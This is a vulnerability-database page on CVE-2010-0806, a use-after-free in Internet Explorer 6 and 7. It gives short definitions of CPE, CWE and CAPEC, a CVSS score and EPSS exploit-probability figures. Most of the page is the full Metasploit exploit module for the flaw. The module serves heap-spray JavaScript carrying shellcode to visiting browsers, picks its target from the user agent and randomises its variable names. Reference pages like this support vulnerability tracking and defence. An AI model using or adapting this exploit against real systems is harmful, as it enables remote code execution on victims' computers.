CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Use-after-free vulnerability in the Peer Objects component (aka iepeers.dll) in Microsoft Internet Explorer 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via vectors involving access to an invalid pointer after the deletion of an object, as exploited in the wild in March 2010, aka "Uninitialized Memory Corruption Vulnerability."
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
89.83%
–
–
2023-03-12
–
–
–
97.31%
–
2023-11-05
–
–
–
97.27%
–
2023-12-17
–
–
–
97.31%
–
2024-06-02
–
–
–
97.28%
–
2024-06-16
–
–
–
97.31%
–
2024-12-22
–
–
–
96.88%
–
2025-01-12
–
–
–
96.78%
–
2025-01-19
–
–
–
96.78%
–
2025-03-18
–
–
–
–
91.22%
2025-03-30
–
–
–
–
91.17%
2025-03-30
–
–
–
–
91.17,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# $Id: ms10_018_ie_behaviors.rb 11333 2010-12-14 18:53:22Z egypt $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# originally ie_iepeers_pointer.rb
#
# Microsoft Internet Explorer iepeers.dll use-after-free exploit for the Metasploit Framework
#
# Tested successfully on the following platforms:
# - Microsoft Internet Explorer 7, Windows Vista SP2
# - Microsoft Internet Explorer 7, Windows XP SP3
# - Microsoft Internet Explorer 6, Windows XP SP3
#
# Exploit found in-the-wild. For additional details:
# http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/
#
# Trancer
# http://www.rec-sec.com
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
#
# Superceded by ms10_090_ie_css_clip, disable for BrowserAutopwn
#
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({
# :ua_name => HttpClients::IE,
# :ua_minver => "6.0",
# :ua_maxver => "7.0",
# :javascript => true,
# :os_name => OperatingSystems::WINDOWS,
# :vuln_test => nil, # no way to test without just trying it
#})
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer DHTML Behaviors Use After Free',
'Description' => %q{
This module exploits a use-after-free vulnerability within the DHTML behaviors
functionality of Microsoft Internet Explorer versions 6 and 7. This bug was
discovered being used in-the-wild and was previously known as the "iepeers"
vulnerability. The name comes from Microsoft's suggested workaround to block
access to the iepeers.dll file.
According to Nico Waisman, "The bug itself is when trying to persist an object
using the setAttribute, which end up calling VariantChangeTypeEx with both the
source and the destination being the same variant. So if you send as a variant
an IDISPATCH the algorithm will try to do a VariantClear of the destination before
using it. This will end up on a call to PlainRelease which deref the reference
and clean the object."
NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown', # original discovery
'Trancer <mtrancer[at]gmail.com>', # metasploit module
'Nanika', # HIT2010 IE7 reliable PoC
'jduck' # minor cleanups
],
'Version' => '$Revision: 11333 $',
'References' =>
[
[ 'CVE', '2010-0806' ],
[ 'OSVDB', '62810' ],
[ 'BID', '38615' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/981374.mspx' ],
[ 'URL', 'http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/' ],
[ 'URL', 'http://eticanicomana.blogspot.com/2010/03/aleatory-persitent-threat.html' ],
[ 'MSB', 'MS10-018' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ '(Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista',
{
'Method' => 'automatic'
}
],
[ 'IE 6 SP0-SP2 (onclick)',
{
'Method' => 'onclick',
'Ret' => 0x0C0C0C0C
}
],
# "A great celebration of HIT2010" - http://www.hitcon.org/
[ 'IE 7.0 (marquee)',
{
'Method' => 'marquee',
'Ret' => 0x0C0C0C0C
}
],
],
'DisclosureDate' => 'Mar 09 2010',
'DefaultTarget' => 0))
end
def auto_target(cli, request)
mytarget = nil
agent = request.headers['User-Agent']
#print_status("Checking user agent: #{agent}")
if agent =~ /Windows NT 6\.0/
mytarget = targets[2] # IE7 on Vista
elsif agent =~ /MSIE 7\.0/
mytarget = targets[2] # IE7 on XP and 2003
elsif agent =~ /MSIE 6\.0/
mytarget = targets[1] # IE6 on NT, 2000, XP and 2003
else
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end
mytarget
end
def on_request_uri(cli, request)
if target['Method'] == 'automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
else
mytarget = target
end
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
# Set the return\nops
ret = Rex::Text.to_unescape([mytarget.ret].pack('V'))
# Randomize the javascript variable names
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
j_ret = rand_text_alpha(rand(100) + 1)
j_array = rand_text_alpha(rand(100) + 1)
j_function1 = rand_text_alpha(rand(100) + 1)
j_function2 = rand_text_alpha(rand(100) + 1)
j_object = rand_text_alpha(rand(100) + 1)
j_id = rand_text_alpha(rand(100) + 1)
# Construct the final page
case mytarget['Method']
when 'onclick'
html = %Q|<html><body>
<button id='#{j_id}' onclick='#{j_function2}();' style='display:none'></button>
<script language='javascript'>
function #{j_function1}(){
var #{j_shellcode} = unescape('#{shellcode}');
#{j_memory} = new Array();
var #{j_slackspace} = 0x86000-(#{j_shellcode}.length*2);
var #{j_nops} = unescape('#{ret}');
while(#{j_nops}.length<#{j_slackspace}/2) { #{j_nops}+=#{j_nops}; }
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}/2);
delete #{j_nops};
for(#{j_counter}=0; #{j_counter}<270; #{j_counter}++) {
#{j_memory}[#{j_counter}] = #{j_fillblock} + #{j_fillblock} + #{j_shellcode};
}
}
function #{j_function2}(){
#{j_function1}();
var #{j_object} = document.createElement('body');
#{j_object}.addBehavior('#default#userData');
document.appendChild(#{j_object});
try {
for (#{j_counter}=0; #{j_counter}<10; #{j_counter}++) {
#{j_object}.setAttribute('s',window);
}
} catch(e){ }
window.status+='';
}
document.getElementById('#{j_id}').onclick();
</script></body></html>
|
when 'marquee'
j_attrib = rand_text_alpha(6);
html = %Q|<html>
<head>
<style type="text/css">
.#{j_object} {behavior: url(#default#userData);}
</style>
</head>
<script>
function #{j_function1}(){
var #{j_shellcode} = unescape('#{shellcode}');
#{j_memory} = new Array();
var #{j_slackspace} = 0x86000-(#{j_shellcode}.length*2);
var #{j_nops} = unescape('#{ret}');
while(#{j_nops}.length<#{j_slackspace}/2) { #{j_nops}+=#{j_nops}; }
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}/2);
delete #{j_nops};
for(#{j_counter}=0; #{j_counter}<270; #{j_counter}++) {
#{j_memory}[#{j_counter}] = #{j_fillblock} + #{j_fillblock} + #{j_shellcode};
}
}
function #{j_function2}() {
#{j_function1}();
for (#{j_counter} = 1; #{j_counter} <10; #{j_counter} ++ ){
#{j_id}.setAttribute("#{j_attrib}",document.location);
}
#{j_id}.setAttribute("#{j_attrib}",document.getElementsByName("style"));
document.location="about:\\u0c0c\\u0c0c\\u0c0c\\u0c0cblank";
}
</script>
<body onload="#{j_function2}();"></body>
<MARQUEE id="#{j_id}" class="#{j_object}"></MARQUEE>
</html>
|
end
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end